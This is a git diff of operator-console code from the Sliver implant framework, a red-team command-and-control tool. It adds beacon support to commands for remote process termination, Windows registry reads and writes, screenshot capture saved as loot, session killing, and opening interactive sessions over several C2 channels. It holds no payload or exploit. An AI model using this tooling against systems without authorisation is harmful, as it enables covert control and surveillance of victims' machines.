@@ -39,10 +41,27 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Pid: int32(pid),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
if terminated.Response != nil && terminated.Response.Async {
|
||||
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, terminated)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintTerminate(terminated, con)
|
||||
})
|
||||
con.PrintAsyncResponse(terminated.Response)
|
||||
} else {
|
||||
PrintTerminate(terminated, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintTerminate - Print the results of the terminate command
|
||||
func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverConsoleClient) {
|
||||
if terminated.Response != nil && terminated.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", terminated.Response.GetErr())
|
||||
} else {
|
||||
con.PrintInfof("Process %d has been terminated\n", terminated.Pid)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -19,15 +19,15 @@ package reaction
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ReactionCmd - Manage reactions to events
|
||||
@@ -36,6 +36,9 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
for _, eventType := range core.ReactableEvents {
|
||||
reactions := core.Reactions.On(eventType)
|
||||
if 0 < len(reactions) {
|
||||
if totalReactions != 0 {
|
||||
con.Printf("\n") // Add newline between each table after the first
|
||||
}
|
||||
displayReactionsTable(eventType, reactions, con)
|
||||
}
|
||||
totalReactions += len(reactions)
|
||||
@@ -46,25 +49,25 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
|
||||
|
||||
// Title
|
||||
con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
|
||||
|
||||
// Table
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tCommands\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Commands")),
|
||||
)
|
||||
for _, react := range reactions {
|
||||
fmt.Fprintf(table, "%d\t%s\t\n",
|
||||
react.ID, strings.Join(react.Commands, ","),
|
||||
)
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType)))
|
||||
tw.AppendSeparator()
|
||||
slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3
|
||||
if slackSpace < 0 {
|
||||
slackSpace = 1
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s", outputBuf.String())
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Commands" + strings.Repeat(" ", slackSpace), // Leave space for title
|
||||
})
|
||||
for _, react := range reactions {
|
||||
tw.AppendRow(table.Row{
|
||||
react.ID,
|
||||
strings.Join(react.Commands, ","),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// EventTypeToTitle - Convert an eventType to a more human friendly string
|
||||
@@ -78,6 +81,9 @@ func EventTypeToTitle(eventType string) string {
|
||||
case consts.SessionUpdateEvent:
|
||||
return "Session Updated"
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
return "Beacon Registered"
|
||||
|
||||
case consts.CanaryEvent:
|
||||
return "Canary Trigger"
|
||||
|
||||
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
// ReactionSaveCmd - Manage reactions to events
|
||||
func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
|
||||
con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
|
||||
con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath())
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
|
||||
@@ -47,7 +47,7 @@ func ReactionUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
con.PrintInfof("Successfully removed reaction with id %d", reactionID)
|
||||
} else {
|
||||
con.PrintWarnf("No reaction found with id %d", reactionID)
|
||||
con.PrintErrorf("No reaction found with id %d", reactionID)
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
|
||||
@@ -23,14 +23,21 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegCreateKeyCmd - Create a new Windows registry key
|
||||
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -60,22 +67,49 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
|
||||
|
||||
createKey, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if createKeyResp.Response != nil && createKeyResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKeyResp.Response.Err)
|
||||
if createKey.Response != nil && createKey.Response.Async {
|
||||
con.AddBeaconCallback(createKey.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, createKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCreateKey(createKey, finalPath, key, con)
|
||||
})
|
||||
con.PrintAsyncResponse(createKey.Response)
|
||||
} else {
|
||||
PrintCreateKey(createKey, finalPath, key, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCreateKey - Print the results of the crate key command
|
||||
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if createKey.Response != nil && createKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKey.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Key created at %s\\%s", regPath, key)
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.OS
|
||||
}
|
||||
panic("no session or beacon")
|
||||
}
|
||||
@@ -1,50 +1,93 @@
|
||||
package registry
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegListSubKeysCmd - List sub registry keys
|
||||
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
path := ctx.Args.String("registry-path")
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
hive := ctx.Flags.String("hive")
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
|
||||
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
|
||||
Hive: hive,
|
||||
Hostname: hostname,
|
||||
Path: path,
|
||||
Path: regPath,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if regList.Response != nil && regList.Response.Async {
|
||||
con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, regList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintListSubKeys(regList, hive, regPath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(regList.Response)
|
||||
} else {
|
||||
PrintListSubKeys(regList, hive, regPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintListSubKeys - Print the list sub keys command result
|
||||
func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverConsoleClient) {
|
||||
if regList.Response != nil && regList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", regList.Response.Err)
|
||||
con.PrintErrorf("%s\n", regList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(regList.Subkeys) > 0 {
|
||||
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
|
||||
if 0 < len(regList.Subkeys) {
|
||||
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, regPath)
|
||||
}
|
||||
for _, subKey := range regList.Subkeys {
|
||||
con.Println(subKey)
|
||||
}
|
||||
}
|
||||
|
||||
// RegListValuesCmd - List registry values
|
||||
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -58,17 +101,33 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: regPath,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if regList.Response != nil && regList.Response.Async {
|
||||
con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, regList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintListValues(regList, hive, regPath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(regList.Response)
|
||||
} else {
|
||||
PrintListValues(regList, hive, regPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintListValues - Print the registry list values
|
||||
func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverConsoleClient) {
|
||||
if regList.Response != nil && regList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", regList.Response.Err)
|
||||
con.PrintErrorf("%s\n", regList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(regList.ValueNames) > 0 {
|
||||
if 0 < len(regList.ValueNames) {
|
||||
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
|
||||
}
|
||||
for _, val := range regList.ValueNames {
|
||||
|
||||
@@ -24,8 +24,10 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var validHives = []string{
|
||||
@@ -76,12 +78,13 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
finalPath string
|
||||
key string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("Command not supported on this operating system.")
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -112,6 +115,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
finalPath = regPath[:pathBaseIdx]
|
||||
key = regPath[pathBaseIdx+1:]
|
||||
|
||||
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
@@ -119,12 +123,28 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if regRead.Response != nil && regRead.Response.Async {
|
||||
con.AddBeaconCallback(regRead.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, regRead)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRegRead(regRead, con)
|
||||
})
|
||||
con.PrintAsyncResponse(regRead.Response)
|
||||
} else {
|
||||
PrintRegRead(regRead, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRegRead - Print the results of the registry read command
|
||||
func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverConsoleClient) {
|
||||
if regRead.Response != nil && regRead.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", regRead.Response.Err)
|
||||
return
|
||||
|
||||
@@ -26,18 +26,21 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
|
||||
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("Error: command not supported on this operating system.")
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -134,11 +137,28 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
QWordValue: qwordValue,
|
||||
ByteValue: binaryValue,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if regWrite.Response != nil && regWrite.Response.Async {
|
||||
con.AddBeaconCallback(regWrite.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, regWrite)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRegWrite(regWrite, con)
|
||||
})
|
||||
con.PrintAsyncResponse(regWrite.Response)
|
||||
} else {
|
||||
PrintRegWrite(regWrite, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRegWrite - Print the registry write operation
|
||||
func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverConsoleClient) {
|
||||
if regWrite.Response != nil && regWrite.Response.Err != "" {
|
||||
con.PrintErrorf("%s", regWrite.Response.Err)
|
||||
return
|
||||
|
||||
@@ -22,25 +22,30 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ScreenshotCmd - Take a screenshot of the remote system
|
||||
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session.OS != "windows" && session.OS != "linux" {
|
||||
con.PrintErrorf("Not implemented for %s\n", session.OS)
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" && targetOS != "linux" {
|
||||
con.PrintWarnf("Target platform may not support screenshots!\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -52,22 +57,54 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
timestamp := time.Now().Format("20060102150405")
|
||||
tmpFileName := path.Base(fmt.Sprintf("screenshot_%s_%d_%s_*.png", session.Name, session.ID, timestamp))
|
||||
tmpFile, err := ioutil.TempFile("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
hostname := getHostname(session, beacon)
|
||||
if screenshot.Response != nil && screenshot.Response.Async {
|
||||
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, screenshot)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(screenshot.Response)
|
||||
} else {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
}
|
||||
err = ioutil.WriteFile(tmpFile.Name(), screenshot.Data, 0600)
|
||||
}
|
||||
|
||||
// PrintScreenshot - Handle the screenshot command response
|
||||
func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
timestamp := time.Now().Format("20060102150405")
|
||||
|
||||
saveTo := ctx.Flags.String("save")
|
||||
var saveToFile *os.File
|
||||
var err error
|
||||
if saveTo == "" {
|
||||
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
|
||||
saveToFile, err = ioutil.TempFile("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
defer saveToFile.Close()
|
||||
var n int
|
||||
n, err = saveToFile.Write(screenshot.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error writting file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf(console.Bold+"Screenshot written to %s\n", tmpFile.Name())
|
||||
|
||||
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
|
||||
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
|
||||
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), tmpFileName, screenshot.Data, false)
|
||||
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
@@ -75,3 +112,23 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.OS
|
||||
}
|
||||
panic("no session or beacon")
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
panic("no session or beacon")
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// InteractiveCmd - Beacon only command to open an interactive session
|
||||
func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon := con.ActiveTarget.GetBeaconInteractive()
|
||||
if beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
delay, err := time.ParseDuration(ctx.Flags.String("delay"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2 := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2 := generate.ParseWGc2(ctx.Flags.String("wg"))
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2 := generate.ParseHTTPc2(ctx.Flags.String("http"))
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2 := generate.ParseDNSc2(ctx.Flags.String("dns"))
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2 := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2 := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return
|
||||
}
|
||||
|
||||
openSession := &sliverpb.OpenSession{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
C2S: []string{},
|
||||
Delay: int64(delay),
|
||||
}
|
||||
for _, c2 := range c2s {
|
||||
openSession.C2S = append(openSession.C2S, c2.URL)
|
||||
}
|
||||
|
||||
openSession, err = con.Rpc.OpenSession(context.Background(), openSession)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
if openSession.Response != nil && openSession.Response.Async {
|
||||
con.PrintAsyncResponse(openSession.Response)
|
||||
} else {
|
||||
con.PrintErrorf("rpc response missing!\n")
|
||||
}
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -40,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session #%d ...", session.ID)
|
||||
err = killSession(session, true, con)
|
||||
err = kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,9 +21,9 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -36,7 +36,7 @@ import (
|
||||
func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
interact := ctx.Flags.String("interact")
|
||||
kill := ctx.Flags.String("kill")
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
clean := ctx.Flags.Bool("clean")
|
||||
|
||||
@@ -49,7 +49,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if killAll {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := killSession(session, true, con)
|
||||
err := kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -63,7 +63,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := killSession(session, true, con)
|
||||
err := kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -73,13 +73,13 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
return
|
||||
}
|
||||
if kill != "" {
|
||||
session := con.GetSession(kill)
|
||||
if killFlag != "" {
|
||||
session := con.GetSession(killFlag)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := killSession(session, true, con)
|
||||
err := kill.KillSession(session, true, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -123,14 +123,11 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
"Health",
|
||||
})
|
||||
|
||||
activeIndex := -1
|
||||
index := 0
|
||||
for _, session := range sessions {
|
||||
color := console.Normal
|
||||
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
|
||||
activeIndex = index + 2 // Two lines for the headers
|
||||
color = console.Green
|
||||
}
